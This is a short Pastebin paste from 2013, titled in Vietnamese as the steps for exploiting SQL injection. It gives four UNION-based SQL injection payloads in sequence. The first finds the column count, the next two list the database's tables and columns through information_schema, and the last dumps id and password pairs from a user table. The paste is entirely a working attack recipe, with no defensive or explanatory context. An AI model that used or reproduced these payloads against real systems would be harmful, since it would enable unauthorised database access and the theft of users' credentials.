Advertisement
hqlan1928

Các bước khai thác Sqli

Dec 1st, 2013
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.38 KB | None | 0 0
  1. b1: =-xx UNION SELECT xx-- -
  2. b2: UNION SELECT 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schema=database()-- -
  3. b3: UNION SELECT 1,unhex(hex(group_concat(column_name))),3 from information_schema.columns where table_schema=database() and table_name=0xconverthex-- -
  4. b4: UNION SELECT 1,unhex(hex(group_concat(id,0x2f,pass))),3 from tbl_user--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement